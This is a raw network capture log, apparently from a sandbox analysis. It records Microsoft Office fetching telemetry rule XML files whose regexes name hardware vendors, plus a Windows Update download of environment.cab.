2024-12-04 15:15:52 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49834	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151553Z-1746fd949bdfg4slhC1EWR34t0000000016000000000k9mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49835	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151553Z-1746fd949bdkw94lhC1EWRxuz400000001f000000000m6th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49836	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151553Z-1746fd949bdjrnwqhC1EWRpg2800000001dg00000000eeem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49838	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:54 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:54 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151554Z-1746fd949bdzd2qvhC1EWRcygw000000013g00000000cxmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:54 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49839	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:54 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4879dc54-201e-0096-5ac3-45ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151555Z-1746fd949bd9x4mhhC1EWRb76n00000001cg00000000fufc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49840	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 1e2c2913-401e-0078-28cc-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151555Z-1746fd949bd77mkmhC1EWR5efc00000001kg00000000kpsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49841	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 85a1d3f6-901e-005b-3ecd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151555Z-1746fd949bd4w8sthC1EWR7004000000013g00000000ec67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49842	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:56 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 859f66ca-901e-005b-0ccc-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151556Z-1746fd949bd6zq92hC1EWRry4800000001e0000000002r0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49843	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NKm6+LZGGaTg9R9&MD=9raX5TOl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-04 15:15:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fa99bb37-c218-45e0-8f60-469bccad5803 MS-RequestId: 92e70029-e2f6-412c-bcfd-82192512eaec MS-CV: 1QrEtTiVCEycnhId.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 04 Dec 2024 15:15:55 GMT Connection: close Content-Length: 30005
2024-12-04 15:15:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-04 15:15:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49844	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:56 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 72953a3b-301e-0000-41cd-45eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151556Z-1746fd949bddgsvjhC1EWRum2c00000001ng00000000dz8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49845	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:56 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151557Z-1746fd949bdxk6n6hC1EWRdr8c000000018g000000008mqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
